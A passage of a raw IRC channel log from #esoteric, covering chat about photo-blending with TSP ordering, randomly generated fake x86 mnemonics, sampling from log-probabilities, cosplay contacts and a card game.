puzzles). < 1395820121 132076 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :is it 8x8 chess < 1395820192 122861 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It could be, but maybe you could also use other board sizes < 1395820673 38403 :not^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Quit: Leaving < 1395821595 66214 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1395821622 62632 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395821629 273660 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1395821635 861479 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395822621 141702 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Heh, I just realized that my script for that TSP-based photo blend thing (no TDTSP to start with) actually entirely ignored the TSP path and just put the things in chronological order. < 1395822628 11892 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I did wonder why there was *that* much banding. < 1395824998 420876 :MoALTz!~no@user-31-174-194-235.play-internet.pl JOIN :#esoteric < 1395826622 735382 :mr45!~mr45@cpc27-hudd10-2-0-cust59.4-1.cable.virginm.net JOIN :#esoteric < 1395827275 426336 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395827788 671858 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :when can we see the results < 1395827834 791751 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :You can see the initial ones right now, they're at http://zem.fi/2014-03-25-tl -- but there's nothing too fancy there yet, just simple averages plus the column-blend thing in chronological and TSP order. < 1395828094 509727 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395828126 723260 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :have you considered choosing each pixel independently from the pictures? or maybe this is your feasible approximation to that < 1395828170 331799 :oklopol!~oklopol@dyn60-339.yok.fi PRIVMSG #esoteric :i guess it's likely that it's all summer / all winter then < 1395828180 97575 :ket1v_!~ket1v@147.69.37.57 JOIN :#esoteric < 1395828389 477942 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 268 seconds < 1395828765 642553 :boily!~boily@96.127.201.149 JOIN :#esoteric < 1395828864 715572 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I could do (smoothed) blocks with a constraint of having the same number of blocks from every image, perhaps. < 1395828867 889772 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :The "time goes from left to right" is conventional for e.g. time-lapse videos, but that sort of assumes more correlation between consecutive frames than I have. < 1395828896 968324 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think I drew one for the "view from the office window for one day" video, but it was quite boring. < 1395828924 711499 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Then again, so was the video. < 1395829794 918211 :boily!~boily@96.127.201.149 PRIVMSG #esoteric :the same sentence in each of Japan's prefectures' dialects → http://youtu.be/mYZZdpu8pPk < 1395830155 482864 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yay, got a bona-fide university-targeted phishing message; for some reason they typically seem to skip me. :/ < 1395830903 281645 :Phantom_Hoover!~phantomho@unaffiliated/phantom-hoover JOIN :#esoteric < 1395831629 133074 :boily!~boily@96.127.201.149 QUIT :Quit: é < 1395832304 147224 :MoALTz!~no@user-31-174-194-235.play-internet.pl QUIT :Quit: Leaving < 1395832655 501368 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://sprunge.us/MDCi -- automatically generated x86 opcodes -- indistinguishable from real ones. < 1395832662 491646 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(Disclaimer: some may actually be real.) < 1395832698 951376 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Hallo < 1395833871 783497 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :fizzie: nice < 1395833881 831608 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :some of them are real indeed < 1395833914 148915 :jconn!~va@1-130.ipswich.cc.colocall.com QUIT :Read error: Operation timed out < 1395834151 38540 :unmeg!~unmeg@203-58-25-79.static.tpgi.com.au JOIN :#esoteric < 1395834170 981961 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :cmpfdivpcmpunpcmpd sounds quite plausible, for example. < 1395834189 821702 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :fizzie: the list has sqrtpd, which is real < 1395834202 1498 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :And fshufdivscattpd does some kind of combined shuffle-divide-scatter operation on packed doubles. < 1395834214 491820 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :pmulld is real too < 1395834279 861601 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :mind you, given how the stupid intel terminology already has a mnemonic that's used for two completely unrelated instructions, you could say that this is a different "pmulld" instruction that just happens to have the same mnemonic < 1395834384 961393 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :According to a quick check against the source data, 8 (out of 100) were real: fylx, pmulld, sqrtpd, vcmpltpd, vcmpnlepd, vfnmsubps, vmovd and vpminud. < 1395834403 810588 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :does the source data include AVX-512 instructions? < 1395834409 101807 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :and all other extensions? < 1395834426 752387 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, that "fylx" must be some kind of mistake for fyl2x. < 1395834524 892726 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It might not include AVX-512, I'm not sure; it was the sources of the latest daily development snapshot of NASM. < 1395834552 222517 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Don't know how the 2 disappeared, because things like vgatherpf0dpd still have a 0 in it. < 1395834586 141879 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, I typoed "0-9" as "0-0" when processing. < 1395834613 405481 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :generate a new list then < 1395834630 631943 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I'd like stuff like vfmsub213pd in it < 1395834729 451869 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :hmm, < 1395834784 993921 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :the list has "svps". if you capitlize it as "SvPS", it looks like a macro from perl core. < 1395834810 331869 :b_jonas!~x@russell2.math.bme.hu PRIVMSG #esoteric :I think it doesn't actually exist, but it's believable < 1395835093 608891 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How the flip do I have a temperature of 97? < 1395835094 783603 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://sprunge.us/dBWd there we go < 1395835109 921507 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :"vphaddsub32132132siftsd" < 1395835133 158681 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :How the flip do I not notice this is #esoteric instead of the other place? < 1395835219 263259 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :This time only 4 real ones: cmpeqsd, sub, vandpd and vfmsubpd. < 1395835505 941750 :jconn!~va@1-130.ipswich.cc.colocall.com JOIN :#esoteric < 1395835819 287775 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I am not Spock... I am Spock < 1395835872 565671 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I am also Scotty < 1395835964 312516 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I think "turning into a snot machine" is a good reason to say I'm sick and not going to work, right? (Not going to say exactly how I'm sick unless I have to, just justifying to myself) < 1395835978 548084 :unmeg!~unmeg@203-58-25-79.static.tpgi.com.au QUIT :Ping timeout: 252 seconds < 1395836382 773964 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Would be for me < 1395836416 581856 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Sgeo, both the characters I am planning on cosplaying at a convention in June have green eyes. Would you say it would be worth getting coloured contacts? < 1395836436 113181 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :(my eyes are notably ungreen) < 1395836448 822464 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Aren't colored contacts dangerous? < 1395836459 250623 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Cheap ones are < 1395836533 953613 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :Huh, so, there are actually people who prescribe colored contacts? Or how does that work? < 1395836547 726939 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :There are actors < 1395836641 971806 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I guess the idea of getting a prescription for something that's not medically necessary is... weird to me. But if you can, go for it if you want < 1395836697 677895 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Maybe I should ask someone with experience in the world of coloured contacts < 1395836740 468340 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Sgeo, do you know where I could get a jacket like this one: http://img1.wikia.nocookie.net/__cb20130719090013/rwby/images/thumb/7/78/Roman_Torchwick.png/1000px-Roman_Torchwick.png < 1395836809 262174 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :I don't < 1395836816 815508 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Okay < 1395836818 172378 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :At first I thought that person's head was half chopped off < 1395836822 407197 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :But it's just the hat < 1395836892 526495 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :Heh, it does kind of look like that < 1395836920 657889 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I suppose it doesn't look impossible to make < 1395837107 631396 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :fizzie: I'm thinking about the image join problem, and realized that the number of different positions for joining images is (n-1)(n^2) < 1395837125 901552 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Somehow, I get the feeling that glpk won't want me to send it a million coefficients. < 1395837166 136158 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :What: https://pbs.twimg.com/media/BjnDdLZCYAA1pad.jpg:large < 1395837228 821066 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :When integer HDMI cable is not enough < 1395837243 782120 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Oh, is that a garden hose < 1395837253 84234 :Taneb!~Taneb@runciman.hacksoc.org PRIVMSG #esoteric :I... I think so < 1395837434 207302 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395837676 991341 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Client Quit < 1395837700 284111 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395837824 693748 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Client Quit < 1395837842 150274 :yorick!~yorick@oftn/member/yorick JOIN :#esoteric < 1395837853 999316 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395838082 924391 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone JOIN :#esoteric < 1395838263 112932 :nooodl!~nooodl@193.119-242-81.adsl-dyn.isp.belgacom.be JOIN :#esoteric < 1395838642 437188 :ket1v_!~ket1v@147.69.37.57 QUIT :Remote host closed the connection < 1395839184 623918 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Fun fact: I did the TSP alignments first on http://neos.mcs.anl.gov/neos/solvers/co:concorde/TSP.html (then I just built Concorde locally). < 1395839543 326066 :`^_^v!~nycs@rrcs-24-39-141-128.nyc.biz.rr.com JOIN :#esoteric < 1395839779 372395 :tertu3!~tertu@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395839918 649036 :tertu3!~tertu@174-20-41-3.mpls.qwest.net NICK :tertu < 1395840011 842856 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Quit: Tritonio < 1395840043 763135 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395840118 633940 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :There are a bunch of public servers for FOL and SMT solving, too. < 1395840182 211238 :mr45!~mr45@cpc27-hudd10-2-0-cust59.4-1.cable.virginm.net QUIT :Ping timeout: 246 seconds < 1395840809 55974 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Quit: Tritonio < 1395840831 411252 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395840869 881560 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Client Quit < 1395840891 352908 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395841245 895223 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Quit: Tritonio < 1395841269 973733 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395841482 491662 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Client Quit < 1395841489 404476 :Melvar!~melvar@dslb-088-077-168-087.pools.arcor-ip.net PRIVMSG #esoteric :Jafet, Taneb: Yes, that is a garden hose connector. < 1395841505 367814 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395841699 122318 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Client Quit < 1395841720 407769 :Tritonio!~Thunderbi@212.251.54.186 JOIN :#esoteric < 1395842367 841276 :prooftechnique!~NihilistD@c-174-63-103-117.hsd1.vt.comcast.net JOIN :#esoteric < 1395844123 333129 :shikhin!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395845044 990964 :Speed``!~Speed@evile.thrash.im NICK :Speed` < 1395845879 955371 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395846137 874152 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 240 seconds < 1395847403 882312 :ter2!~tertu@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395847404 68918 :tertu!~tertu@174-20-41-3.mpls.qwest.net QUIT :Disconnected by services < 1395847491 281131 :tertu3!~tertu@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395847657 940856 :ter2!~tertu@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 240 seconds < 1395847803 292616 :tertu3!~tertu@174-20-41-3.mpls.qwest.net QUIT :Ping timeout: 265 seconds < 1395847853 272935 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395847990 303204 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 JOIN :#esoteric < 1395848213 817506 :MoALTz!~no@user-109-243-145-237.play-internet.pl JOIN :#esoteric < 1395850073 70844 :nortti!nortti@nano.smar.fi NICK :lawspeaker < 1395850111 522903 :lawspeaker!nortti@nano.smar.fi NICK :nortti < 1395850765 861327 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395850897 882837 :Tritonio!~Thunderbi@212.251.54.186 QUIT :Ping timeout: 240 seconds < 1395850921 220249 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :Any static typed & static type checked stack-based programming languages? < 1395850953 900661 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :that are reasonably high level < 1395850971 240705 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :so MSIL and alike wouldn't really count < 1395851067 761124 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :Cat appears to be one < 1395851289 60136 :mroman!~roman2@fmnssun.ibone.ch PRIVMSG #esoteric :neat < 1395853134 415062 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395853224 842478 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :fizzie: those are some p. good instructions < 1395853401 630880 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 252 seconds < 1395854033 872793 :Tritonio!~Thunderbi@athedsl-18974.home.otenet.gr JOIN :#esoteric < 1395854769 881528 :john_metcalf!~digital_w@228.15.125.91.dyn.plus.net QUIT :Quit: john_metcalf < 1395855139 90458 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net QUIT :Quit: Terminated < 1395855155 893696 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net JOIN :#esoteric < 1395855193 411183 :ThisFalseReality!~ThisFalse@cpe-67-251-114-139.stny.res.rr.com JOIN :#esoteric < 1395855207 149577 :ThisFalseReality!~ThisFalse@cpe-67-251-114-139.stny.res.rr.com PRIVMSG #esoteric :so this is an esoteric oriented chat? < 1395855231 960196 :ThisFalseReality!~ThisFalse@cpe-67-251-114-139.stny.res.rr.com PRIVMSG #esoteric :or is it distinctly a discussion about a programming language < 1395855285 140878 :lexande!arapp@terpsichore.ugcs.caltech.edu PRIVMSG #esoteric :!welcome ThisFalseReality < 1395855287 400161 :EgoBot!dlopen@libdl.so PRIVMSG #esoteric :ThisFalseReality: Welcome to the international hub for esoteric programming language design and deployment! For more information, check out our wiki: . (For the other kind of esoterica, try #esoteric on irc.dal.net.) < 1395855368 980615 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net QUIT :Client Quit < 1395855398 551018 :ThisFalseReality!~ThisFalse@cpe-67-251-114-139.stny.res.rr.com PART :#esoteric < 1395855509 270828 :idris-ircslave!~ircslave@dslb-088-077-168-087.pools.arcor-ip.net JOIN :#esoteric < 1395856144 469736 :Sgeo!~quassel@ool-44c2df0c.dyn.optonline.net PRIVMSG #esoteric :It's distinctly a discussion about a class of programming languages. In theory. < 1395856292 500153 :password2!~password@197.78.130.32 JOIN :#esoteric < 1395857621 760144 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :kmc: Which instructions were those? < 1395857653 505503 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :http://sprunge.us/dBWd < 1395857818 269233 :realzies!~pinky@unaffiliated/realazthat QUIT :Quit: realzies < 1395858093 268403 :realzies!~pinky@unaffiliated/realazthat JOIN :#esoteric < 1395858301 643143 :spiette!~spiette@2607:fad8:4:6:f2de:f1ff:fe66:77e5 QUIT :Ping timeout: 265 seconds < 1395858410 95776 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Oh, right, *instructions*. < 1395858431 883102 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I thought, you know, 1. (11) direction, instruction -- (a message describing how something is to be done; "he gave directions faster than she could follow them") < 1395858444 570531 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :kmc is too cool to say opcodes < 1395858468 642928 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :I think I'll write up a X86 Mnemonic Generator javascript thing and put it on the webs. < 1395858474 611551 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Using gradient descent to get a layout: http://46.4.207.77/product.jpeg < 1395858498 414655 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :(That's 218 images from a video I had lying around.) < 1395858575 765090 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Maybe I could involve a self-organizing map in the image thing somehow, since it's what "our people" do. < 1395858585 208559 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :Super Flappy X86 Opcode Generator 2048 < 1395858634 700104 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Press the arrow keys to slide the nops together < 1395858771 991513 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :fizzie: the problem had 10312708 coefficients, by the way. < 1395859005 856513 :spiette!~spiette@2607:fad8:4:6:a288:b4ff:fe60:a3b0 JOIN :#esoteric < 1395859357 884791 :password2!~password@197.78.130.32 QUIT :Ping timeout: 240 seconds < 1395860060 482490 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Remote host closed the connection < 1395860097 238353 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com JOIN :#esoteric < 1395860250 540934 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :@hoogle Set a -> Int -> a < 1395860251 180899 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Data.Set elemAt :: Int -> Set a -> a < 1395860251 367714 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Data.Set deleteAt :: Int -> Set a -> Set a < 1395860251 367874 :lambdabot!~lambdabot@silicon.int-e.eu PRIVMSG #esoteric :Prelude const :: a -> b -> a < 1395860269 460111 :shikhout!~Shikhin@unaffiliated/shikhin JOIN :#esoteric < 1395860310 473393 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :I'll need to upgrade ghc for that, huh < 1395860383 835871 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395860394 305996 :augur!~augur@216-164-48-148.c3-0.slvr-ubr1.lnh-slvr.md.cable.rcn.com QUIT :Ping timeout: 268 seconds < 1395860431 426249 :shikhin!~Shikhin@unaffiliated/shikhin QUIT :Ping timeout: 264 seconds < 1395860431 648951 :shikhout!~Shikhin@unaffiliated/shikhin NICK :shikhin < 1395860654 854311 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 252 seconds < 1395860682 620195 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Incidentally, is there some obvious way from sampling from a categorical distribution where the probabilities are given as log(p)? I mean, other than just doing exp() on them and doing the usual compute-cumulant-sample-uniformly-from-unit-interval thing. < 1395861958 433941 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :I have another idea, which is, a sequent calculus of a programming language, where a sequent corresponds to the type of the program; input channels on the left and output channels on the right. The rules would have side-effects. The "init" rule then corresponds to a program that copies its input to its output, and "cut" to the creation of a new channel to communicate across two threads of the program. < 1395862033 220068 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :The program, whether or not it halts, is a proof. < 1395862257 940328 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :fizzie: if the probability is log(p) why would you sample using p < 1395862302 6793 :Bike!~Glossina@gannon-wless-gw.resnet.wsu.edu PRIVMSG #esoteric :I thought fizzie meant that the probability is p but the value provided is log(p). < 1395862315 636463 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :So -oo, 0 instead of 0,1. < 1395862315 823058 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Yes, that is what I meant. < 1395862347 698148 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :fizzie: But I see no better way. < 1395862381 826222 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :Since log(p+q) doesn't have a nice interpretation in terms of log(p) and log(q). < 1395862427 970180 :Slereah!~jackal@244.168.90.79.rev.sfr.net PRIVMSG #esoteric :You can do it by taylor series < 1395862431 870106 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Right. I just wonder, since this file format stores the values as log(p) instead of p. < 1395862470 115090 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :is it using fixed point then? < 1395862513 685720 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :(then storing log(p) instead of p would give you the benefits of a floating point representation) < 1395862523 213845 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :precision wise, at least. < 1395862527 419806 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :It's a text-based format, so it's kind of hard to say. I guess it could be just avoiding exponential notation. < 1395862622 485995 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :alternatively, maybe people typically want to multiply a lot of those probabilities; now they can add them, and exponentiate in the end. < 1395862638 891313 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Well, that's certainly true, too. < 1395862660 330169 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :(In fact, they probably won't usually even exponentiate at the end, thanks to monotonicity.) < 1395862671 621631 :int-e!~noone@static.88-198-179-137.clients.your-server.de PRIVMSG #esoteric :right. < 1395862717 119610 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :You'll need -log p bits to sample p < 1395862754 719427 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :But you might be able to use a table for log p, if you sample from an exponential distribution instead of a uniform one < 1395864479 318422 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :http://sprunge.us/XgjW almost there < 1395864635 41985 :Jafet!~jafet@unaffiliated/jafet PRIVMSG #esoteric :Perhaps these instructions can serve as inspiration for zzo's architecture. < 1395864673 821057 :tertu!~quassel@174-20-41-3.mpls.qwest.net QUIT :Remote host closed the connection < 1395864766 401671 :password2!~password@197.78.130.32 JOIN :#esoteric < 1395865020 788980 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395865355 240322 :AnotherTest!~turingcom@94-224-26-78.access.telenet.be JOIN :#esoteric < 1395865923 653511 :MindlessDrone!~MindlessD@unaffiliated/mindlessdrone QUIT :Quit: MindlessDrone < 1395866215 441966 :drlemon_!~drlemon@cpe-108-185-0-32.socal.res.rr.com JOIN :#esoteric < 1395866610 80491 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :Done: http://zem.fi/2014-03-26-x86 < 1395866665 171391 :fizzie!fis@unaffiliated/fizzie PRIVMSG #esoteric :HSUWPCKHMISSD2PI2EBLSMSKBBR probably gets lots of use. < 1395866701 280592 :augur!~augur@129-2-129-35.wireless.umd.edu JOIN :#esoteric < 1395867206 810724 :kmc!~keegan@ec2-50-17-127-187.compute-1.amazonaws.com PRIVMSG #esoteric :PSHAW < 1395867303 160944 :spiette!~spiette@2607:fad8:4:6:a288:b4ff:fe60:a3b0 QUIT :Remote host closed the connection < 1395867311 212580 :augur!~augur@129-2-129-35.wireless.umd.edu QUIT :Ping timeout: 245 seconds < 1395867562 860092 :spiette!~spiette@2607:fad8:4:6:a288:b4ff:fe60:a3b0 JOIN :#esoteric < 1395867638 255501 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395867737 261808 :augur!~augur@129-2-129-35.wireless.umd.edu JOIN :#esoteric < 1395867911 282129 :ket1v!~ket1v@147.69.37.57 QUIT :Ping timeout: 245 seconds < 1395868513 23597 :augur!~augur@129-2-129-35.wireless.umd.edu QUIT :Remote host closed the connection < 1395868547 122739 :augur!~augur@129-2-129-35.wireless.umd.edu JOIN :#esoteric < 1395868801 334203 :augur!~augur@129-2-129-35.wireless.umd.edu QUIT :Ping timeout: 252 seconds < 1395869127 763997 :tertu!~quassel@174-20-41-3.mpls.qwest.net JOIN :#esoteric < 1395869246 719286 :Zom-B|zz!~Zom-B@143.177.41.147 NICK :Zom-B < 1395869408 903166 :AnotherTest!~turingcom@94-224-26-78.access.telenet.be QUIT :Ping timeout: 265 seconds < 1395869473 791894 :Tritonio!~Thunderbi@athedsl-18974.home.otenet.gr QUIT :Read error: Connection reset by peer < 1395869831 593649 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net QUIT :Read error: Connection reset by peer < 1395869855 841868 :^v!~notnot^v@c-71-238-153-166.hsd1.mi.comcast.net JOIN :#esoteric < 1395870837 875311 :Zom-B!~Zom-B@143.177.41.147 NICK :Zom-B|zz < 1395871411 413988 :password2!~password@197.78.130.32 QUIT :Ping timeout: 264 seconds < 1395871571 154126 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :My brother decided that we play Yomi cards with Lum vs Rook, because apparently Rook is severely disadvantaged in this matchup. First I played Lum, and I won. Second, I played Rook, and I also won, but, on the last turn we both played attacks of the same speed, so they both hit, and I was left with only one point at the end of the game. < 1395871615 481334 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :yomi? < 1395871714 731772 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :It is a card game, it comes with ten decks of cards. < 1395871754 556789 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Each one has the standard 52 cards, plus two jokers, and one character stats card and one rule reminder card. However, all of the cards, except for the joker, have additional markings which differ based on each character, too. < 1395871874 110676 :nooodl!~nooodl@193.119-242-81.adsl-dyn.isp.belgacom.be QUIT :Ping timeout: 265 seconds < 1395871984 947954 :conehead!~conehead@unaffiliated/conehead QUIT :Quit: Computer has gone to sleep. < 1395872180 422427 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :seems pretty expensive for a card game < 1395872370 771402 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :Yes, although it is a good quality. < 1395872457 721181 :myname!~myname@84.200.43.57 PRIVMSG #esoteric :well, don't get, why you can't buy these decks one by one < 1395872528 251419 :zzo38!~zzo38@24-207-51-179.eastlink.ca PRIVMSG #esoteric :You can buy these decks one by one, although, you shouldn't! < 1395872700 815701 :conehead!~conehead@unaffiliated/conehead JOIN :#esoteric < 1395872884 708037 :ket1v!~ket1v@147.69.37.57 JOIN :#esoteric < 1395873070 833182 :Phantom__Hoover!~phantomho@unaffiliated/phantom-hoover JOIN 